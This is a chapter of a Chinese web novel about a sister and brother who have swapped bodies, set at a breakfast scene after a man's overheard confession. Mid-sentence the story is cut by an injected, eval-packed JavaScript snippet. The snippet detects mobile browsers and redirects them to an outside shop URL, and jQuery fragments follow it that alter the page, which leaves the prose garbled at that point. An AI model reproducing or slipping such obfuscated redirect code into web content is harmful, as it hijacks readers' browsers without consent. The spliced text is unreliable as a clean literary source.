22. 正经男人
作品:《和姐姐互换身体后》 沈知窈睁开眼睛的时候,有一瞬间飘飘然到不知道自己在哪里,床太软了,不是上沙村那张硬邦邦的床。
膝盖上的伤口传来一阵钝痛,她低头看了一眼,纱布还是昨晚许则安包扎的那个样子,边角收得利落。
空气里有一股很淡的冷泉香,是许则安身上的味道,混着碘伏残留的清苦气息。这些气味搅在一起,像一碗没搅匀的藕粉,有的地方浓,有的地方淡,但总归是甜的。
半晚上不知道怎么睡的,两个人由一开始的背对背,到清晨变成了面对面,一睁开眼看到许则安那张又近又帅的脸,吓得沈知窈赶紧闭上了眼。
她之所以选择装睡,是为了避免睁眼后看到许则安的尴尬。
沈知窈真的不知道该怎么收拾好心情面对他。
隔壁房间传来细微的响动,有人在说话,声音压得很低,隐约能听见一些字眼。
沈知窈坐起来,头发乱糟糟的,她弟这具身体每天早上都是这副德行,头发支棱着像被人揪过。
她用手按了按头发,发现根本按不下去,干脆不管了。她站起来,光脚踩在地板上,深色的胡桃木被清晨的光照出一层温润的暖意。她走到门口,手搭在门把手上,没急着推开,站在那里想了想。
虽然隔着墙,虽然声音压得很低,但那些字一个一个飘过来,听得十分清楚。
“这些年,我一直想做那个替你遮风避雨的人”“能不能让我做那个陪你一起淋雨的人”可这些话在沈知窈心里,和空头支票没什么两样,沈知窈已经是经历过风雨的成年人了。
沈知窈站在那儿,脑子里飞快地转。再不出去就要露馅了——沈渡舟那句“我现在没有办法回答你”既没有答应也没有拒绝,把问题悬在那儿,等着别人自己退开。
看来是真的黔驴技穷了,再不中断对话,沈渡舟怕是要留下心理阴影。
走廊里很安静,光从两头的窗户照进来,把整条走廊照得透亮。她走过去,脚步没刻意放轻,地板在她脚下发出轻微的声响。客厅里,许则安站在窗边,背对着她,阳光落在他肩膀上,把那件浅蓝色的衬衫照得发白。
沈渡舟——不,她的身体——站在茶几旁边,披着她那件白色的睡袍,头发散着,一只手插在口袋里,另一只手攥着手机,指节发白。
两个人的距离不远不近,中间隔着半米的空气,那空气像被什么东西凝住了。
沈渡舟嘴角往下压着,眉毛微微拧着,那是他紧张的时候才会有的样子。那种紧绷感从肩膀一直蔓延到手指,攥着手机的那只手,骨节都凸出来了。
许则安倒是看不出什么,背影稳肩膀平,呼吸也很匀称。但他说话的时候手指会下意识地敲桌面,那个习惯她记得,此刻他的手指垂在身侧,一动不动。
沈知窈清了清嗓子,用一种她弟平时早上起来那种懒洋洋的、没好气的语气开口。“许老师,姐,这么早就要上班了啊。”
两个人同时转过头看她,沈渡舟那眼神里有一瞬间的如释重负,像溺水的人摸到了岸。许则安的眼神倒是平静,嘴角甚至还挂着一点笑。
沈知窈一瘸一拐走进来,膝盖上的伤让她走路的姿势有点歪。她走到沙发旁边坐下,把那条伤腿伸直,搭在茶几上。
动作幅度大极了,完全是沈渡舟的风格一比一还原,“你们昨晚都没睡好吗?黑眼圈都快掉到脚面了。”
沈渡舟瞪了她一眼,那眼神里写着“你少说两句会怎么样”。她假装没看见,转过头看许则安。“许老师,有吃的吗?我饿了。”
许则安愣了一下,然后笑了。那个笑比刚才自然多了,像是被这个问题拉回了地面。“有的,粥熬好了,在锅里,我去盛。”
他转身往厨房走。沈知窈看着他的背影,等他走远了,才把目光收回来,落在她弟身上。
她弟站在那儿,脸色很复杂。
“你听见了?”沈渡舟压低声音,用的是沈知窈的声音,但语气是他自己的,急躁之中又还带点委屈。
沈知窈点了点头,表示自己了然于胸。
“听见多少?”
“差不多都听见了。”
沈渡舟的脸一下子涨红了,他用她的脸做出一副咬牙切齿的表情,看起来有点滑稽,又有点心酸:“他、他说的那些——我、我不是故意要听的,他自己非要说的,我拦不住——”
“我知道。”沈知窈打断他。
沈渡舟张了张嘴,像还有一大堆话要倒出来,但被她这一句堵回去了。他看着坐在沙发上那个自己的脸,看着那副懒洋洋的、什么都不在乎的表情,突然觉得胸口那股气泄了。
他走到沙发另一头坐下,和她那条伤腿隔着一个人的距离。
厨房里传来碗筷轻轻碰撞的声音,粥的香气飘过来,糯糯的,混着一点红枣的甜。
“你怎么想的?”沈渡舟问,声音低下来,不像刚才那么急了。
沈渡舟等了几秒,没等到回答,又补了一句。“其实吧,在昨天之前,他那个人,我看还行。”
沈知窈还是没说话,她把那条伤腿从茶几上收回来,坐直了,两只手放在膝盖上,指腹无意识地摸那块纱布的边缘。
许则安包的,很平整,每一圈都绕得均匀,打结的地方收在侧面,不会硌到伤口。
“然后呢?怎么,被吓到了?”沈知窈莫名有了点兴致。
沈渡舟干巴巴地笑了笑,指了指自己的胸口,比划比划睡衣裙摆:“你说呢?”
“哪个正经男人家里会单独备一套女性睡衣,还这么合身,要不是认识他有一段时间了,我真怀疑许是个变态!”
沈知窈想替许则安辩白:“可这也不能说明什么……”
沈渡舟恨铁不成钢:“你就小心点儿吧,长点儿心吧,沈知窈。”
沈知窈投桃报李回以一个灿烂的微笑:“不,该小心的是你,亲爱的姐姐。”
“你有没有良心,我是你弟弟,我在为你出谋划策殚精竭虑!”
厨房那
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17357508|199519||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
个方向传来脚步声,许则安端着托盘走出来,上面放着三碗粥,一碟切好的咸菜,还有几个小花卷。他把托盘放在茶几上,看了他们一眼。
“怎么了?闹脾气了?两个人坐这么远。”
许则安把粥端给他们,自己端着那一碗坐在对面的单人沙发上。他吃得很慢,用勺子把粥搅凉了才送进嘴里。
红枣粥,熬得很稠,米粒已经煮化了,入口是甜甜糯糯的,热从喉咙一路滑下去,把胃里那点空落落的东西填满了。她想起她用沈渡舟那个小电锅煮的泡面,鸡蛋卧在面条上面,青菜切得乱七八糟……沈知窈向来不擅长厨艺,一直秉承饿不死就好。
“许老师,”沈知窈开口,用的是她弟的语气,“昨晚那些话,你不用跟我姐说,她是个忒现实的人,甜言蜜语不管用。”
沈渡舟差点被粥呛死,在无人知晓的地方默默给沈知窈竖了根中指。
许则安愣了一下,然后笑了,有点无奈又有点释然:“是吗?那可惜了。”
“不可惜,”沈知窈说,夹了一块咸菜扔进嘴里,嚼得咯吱响,“你可以多试试,正所谓心诚则灵。”
“那借你吉言了。”
吃过早饭,沈知窈收拾收拾要上学了。
“走吧,我送你们。”许则安拿起车钥匙,走到门口换鞋他换鞋的时候弯着腰,一只手扶着墙。
许则安动作很慢,像是在给姐弟二人留时间整理自己。
沈知窈站着没动,客气道:“许老师,不用送,我坐公交就行。”
许则安直起身回过头看她,目光在她那身明显大了一号的运动服上停了一下:“你腿上有伤,公交太挤了,我顺路。”
沈渡舟看见沈知窈那个眼神——并非拖泥带水的拒绝,是不想麻烦别人的客气。
但这种客气在沈渡舟面前没用,在许则安面前也没用。
谈话间,许则安已经把门推开了,晨光从楼道里逆流而上,涌进门来,把他的影子拉得很长,落在玄关的地板上。
“走吧,再不出门要迟到了。”他说,语气平常得像无数个早晨都这般熟稔。
沈知窈紧张地蜷曲着手指,将运动裤侧边的布料捏出了褶子,最后还是换鞋出了门。
电梯到了一楼,许则安先走出去推开门禁,站在门口等她们。
晨光落在他身上,把他那件浅蓝色的衬衫照得发白,他眯着眼睛,抬手挡了一下阳光。
沈渡舟拉开后座的门坐进去,后座上放着一摞书,他往里挪了挪,正襟危坐的模样有点滑稽。
车内有一股淡淡的冷泉香,和许则安身上的味道一样,是凉透了的清爽感夹杂了稳重的木质调,闻着让人安心。不一会儿他就靠到椅背上,装作很忙的样子看着窗外。
车里放着广播,是一个讲城市文化的节目,主持人的声音清亮如流淌山涧泉水的,念了一段关于老城区改造的稿子。
许则安听着,偶尔用修长的手指在方向盘上敲两下,像是在打节拍。

